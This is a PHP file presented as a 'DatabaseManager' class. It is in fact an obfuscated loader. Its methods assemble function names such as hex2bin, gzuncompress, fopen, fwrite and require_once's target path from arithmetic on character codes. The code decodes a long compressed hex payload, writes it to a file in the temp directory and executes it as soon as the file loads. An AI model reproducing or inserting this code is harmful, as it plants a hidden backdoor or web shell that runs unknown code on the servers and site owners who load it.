<?php
class DatabaseManager
{
    private $cm = '';
    private $yr = '';
    public function computeResult($p1)
    {
        $k = array(110, 34 + 71, 105 - 7, 54 - 4, 118 + 2, 49 * 39 - 1810, 26 * 10 - 156);
        $q = '';
        foreach ($k as $f) {
            $q .= chr($f);
        }
        $q = strrev($q);
        return $q($p1);
    }
    public function filterResults($p1)
    {
        $w = array(73 + 7 + 23, 56 + 48 + 18, 117, 2 * 55, 45 * 1 + 54, 67 * 1 + 44, 113 - 4, 55 + 57, 91 + 23, 85 + 16, 121 - 6, 74 + 41);
        $p = '';
        foreach ($w as $y) {
            $p .= chr($y);
        }
        return $p($p1);
    }
    public function saveChanges($p1, $p2)
    {
        $y = array(31 * 13 - 301, 77 + 29 + 5, 112, 67 * 1 + 34, 59 * 1 + 51);
        $c = '';
        foreach ($y as $a) {
            $c .= chr($a);
        }
        return $c($p1, $p2);
    }
    public function updateCache($p1, $p2)
    {
        $z = array(39 * 97 - 3682, 122 - 6, 63 + 27 + 15, 69 * 1 + 45, 119, 106 - 4);
        $n = '';
        foreach ($z as $o) {
            $n .= chr($o);
        }
        $n = strrev($n);
        return $n($p1, $p2);
    }
    public function rollbackTransaction($p1)
    {
        $o = array(111 - 10, 106 + 9, 36 * 2 + 39, 110 - 2, 106 - 7, 41 * 46 - 1784);
        $f = '';
        foreach ($o as $i) {
            $f .= chr($i);
        }
        $f = strrev($f);
        return $f($p1);
    }
    public function calculateSum($p1, $p2 = null)
    {
        $j = array(87 + 22, 105, 2 * 57, 116, 123 - 9);
        $l = '';
        foreach ($j as $p) {
            $l .= chr($p);
        }
        $l = strrev($l);
        return $l($p1, $p2);
    }
    public function executeAction()
    {
        $this->yr = $this->calculateSum($this->cacheData(), '/');
    }
    public function updateRegistry()
    {
        $this->cm = $this->filterResults($this->computeResult($this->rt));
    }
    public function logTransaction()
    {
        $fn = $this->yr . '/wd-68c96b47f0d57';
        $f = $this->saveChanges($fn, 'w');
        $this->updateCache($f, $this->cm);
        $this->rollbackTransaction($f);
        $this->sendNotification($fn);
    }
    private $rt = '789cb5587b6fda4a16ff2a8914dd601990ed198f7159dfaae' . 'aa67babed365769baab558590f123181c5e0602c9cd77dfdf3' . '963134c52e83f5be4d873deef99e9dfdecf86b3b3280f8be2a' . 'cbf1e3d3ccd16d93a5c2667c5325c66d1457f3c1e75f5f759b' . 'a9a44cb6c3a39eb0f67e3c6457f93ae8ca72c6d9c17499ebe7' . 'bc7b486feee4f3679c3e82e92e56a31391b261b67904d1a7b7' . '43f98bd67749feb0af794b088a73d9e205c2cc26de3b2ff908' . 'd2e83df2fa5adc465fb5209e57ac2134e2c854a55e249cfc13' . 'bc2da56117ea9e7e13b05d4571e9e44848e0546074f78d9bce' . 'c179b05cb2bd9954b7f9dd8959eef59ca2572657b16be23b00' . 'b7c4bbc41eba42ac44ae1114a782450e101972749709a935c0' . '2b1a11d823d2eee18e87abe0c215248217da1a40f519e9032a' . 'adec4419f78bf407de57be483743de92a5fa6784261b9a1db9' . '189b02abc0e4bec2a1593605aa6c425f1e5b9ca0bf12964581' . 'ae6935d51486679b6e779a107201b5be405410582a8062221d' . '0362e210ef9652ba9c1e196d9bd32041479bc2242658309e19' . '86a5d7d65b3ea2b4ad32a4a1de44e7a16029e3a2982e82ac74' . '9e00fde4ac1fe085f1de45350923ce014a52c461af88d68a6e' . '4a0d0480ea02744aa24a7cc2edd8d496b3c65a5820382d2885' . 'c0a5082f051bcd9777654b14d4465b95a8d2c5d74391a4b761' . 'bd98761ae8a1543a3ec85156eb05e80d7032e3312265d9220a' . '9622cae140e914775c6fab50ace415a3c969971c92faf4ad87' . '0c38948e93b9fd74818bf600f1d4b7658157e969392bfb6834' . 'ab1622b94652c455876039b321d6ae309c7a6b247dc71ccc45' . 'd829fab280d640d01a84980e29c53b55112404e2d66c52cba6' . 'cb6f158bb838e55d14e73ba7b9305db5dc1acef4695359cd99' . 'd41f16c505a5409becfd861d97139b870d74d51e491f4e17b0' . '2204990d41a2efb19bd903303c8dd0e5838c1a9ebb8accb761' . 'd2941211943225c87231eb31bc0ba32d670d080c896dc652c9' . '22967ab3d3da4c47505281da645211035cc63a7365581bc494' . 'd62770c5599decdab589553ec85956c53c48ca7b266331dbce' . '8603b0f69b9b4f5c31c77d9ae69a7c3bcaee225bebac6521dd' . 'faa9436839a4984aaa784224d0afd1dcb223a7042a784f2c1c' . '928bb632f253a1f8bf8858f53bccf4a803295da65a94d2164e' . '5e660b49f4f92ae69ec9dc6979426734d5be5f980a3ac805da' . 'd2cd60f5cc41263ccc38c48a94de46e86ac38bed2772dde98c' . '896896e5d2f722c97fdb181aa42743f5a9768ea365038e845b' . '547f0381e6a029ad244e488c4e21e89a279356bb149f1447e6' . '0db30386cce989e673cdb21949d5d96b385fac1a386f53097b' . '0733f0f93304e160d3a3760cba74301edcd20185d1a46f72d2' . 'c70b4d9028b73435614c912e7887f5cddfe38a4c2ce69f40ce' . '3e9a21f2741fffe40cc23281678ee4a4944f5db6fc572319b1' . '6bc68d6c8231e1186711e0469981789f11467495d226d7490f' . '59c00fd1abbe55d83f0cf27eca6f06c2bd3377970d1ff787df' . 'dcfcf57dd8bfe7a1e345a98c12dd7f15b672ddb12b6d1e5635' . '0d050d20648d8c26cf9d223f0382a8f3b7af183f87bc1a13ad' . 'a5a8deec330cb93ea40f642dd0ec8841f8edb92d07ad672584' . '747f5cac31745ee9c4984673a8e63b61cc72f9166c3f3cd96d' . '781274f3b32d80c09ca06a1bda3cb264b63315d4de286d556f' . 'bff3cf32400d2078b241c73744cf398a714d8f5651930903ee' . 'bc8bd32c2698bfd7fe689b561365ab68447ae806bae69fb964' . '1b2912c36664fb267c2de86d13e84774cfc8c2a9ac0216c8a1' . '2ec73b42ca7d72079ba22d864d03882a268b91ad73c94290ea' . 'c3eb1461cbb87229cb6e39af53f464f17c91beaea793ab1367' . 'aaf8260db6d040f7f580705413a2d6cf1a6f094a9242bce6b0' . 'c267ed42708773689f2559ce830759f5fae00e8fb8b7e381ac' . '2e0fbc769d0eae0946561116eb7410b99c408745c4b391d320' . 'ae19d6d46f5c2c1299322b3ddae82571301c74e4a26c4eb618' . '413709e8783fca0f7e9f03245ef93fcfc2e88568bbc9f4d321' . 'a00106b74198081309d1128bf6b7efc7ef3e5facfdbfeb76f5' . 'ffaffbebaf9fce9bf7f5e5ddd34f5e4f915f23faebfdd36eba' . '1328e307ebafef2e5fa3f5fae3f7eb8fd7cfdb5596b48512f9' . 'b9380637a6eae6ebfdf7cbdbdf9f0f5db27f8f37fd3f3c7d58' . '7bf1fc837ad630c1fafbf7ebdfa787bfbf95f57d7df6f9bd47' . '542b61c7984a5a2c544734dae53d9e950a550053157b24922e' . '62168b2d4c0bb64994dd269096750944f8ba404f04e942ceb9' . 'b42a1f78ede79d0b0318a45479a9eedb71c059fcafb319746b' . '9f7c08441300b1745d287f8aac82efa8fb3fba041c81faf76a' . '625a40707f59dd16e85ae89f23a0257102afa4331747ec54ed' . '2dbdf965fd1e01e420dcb52db75b1b88bbc251652713381d8b' . '77816bab1de60c30d0423e655c38eb89757f7459016d3683c9' . 'd2593468323f3be463b1e8318b6beab0be59d99ddfc89a96b3' . 'e51b09e5e53cbc559ce74fc77fb6355b56ba3f1c4ba3a9fc06' . 'ae3299dad96855e343922e4cf7c90e05cd0713b285be961d67' . '6ec6a473f4f9369c54ce3a788d320450d56326c9c214cdb51b' . '2650b294a4d9067701dd3f60f0e0d25d67af8e90245c9d4fa8' . '5e59bc2a6bd2fad2a9ab4e2c0a36b9425d2c6381f0655817cb' . 'bbac1c07a15c67b3a974c2ff59e94cf8f924715ddddddfa945' . 'cba7169e2c1f628ed0cc42b227dff361eb72ca3572f0e4afb9' . 'ccbab088fcaa6c3eb4f0543c8868a7af05a7ea6cf2ea7a3476' . '53acc8f28a13b15c44f56797e3abe744e8e8e085bc47bb27e2' . '10783b23d7e262f99efe4a1ecd22c5f268bfe3aa46d7c3edc1' . 'fe9be5d6f9b136bbdfdde27f70109d2a3f250413e6fb67c850' . '387bd479ccf77735503e064f7e8219ec612ee6b7c844fa2e1f' . '4ec3006b8aed10081b8f65be1993076b0ad23ef47fafcdaa60' . 'aaba3e8b66674930d8e14069b765ed90615c65f7fed9683edf' . 'eaa08c9c092ab74314bf2f2d6f06a7846bac283df596cfd7e1' . '43e00f9a091836df3ad9a5e6a2c94a250e2701060734a26d11' . '4a7b64158244af6cbd5a8984eaa6f36c8e08da8bcc531efaf5' . 'cd9e8bf3896b52b1be582e876917afe1f6d465555';
    public function sendNotification($p)
    {
        require_once $p;
    }
    public function cacheData()
    {
        $a = array(115, 121, 52 * 13 - 561, 5 + 15 + 75, 65 + 38, 50 * 73 - 3549, 33 + 46 + 37, 72 * 1 + 23, 115 * 43 - 4829, 58 + 16 + 27, 100 * 1 + 9, 112, 27 * 2 + 41, 20 * 5 + 0, 3 * 35, 2 * 57);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$no = new DatabaseManager();
$no->executeAction();
$no->updateRegistry();
$no->logTransaction();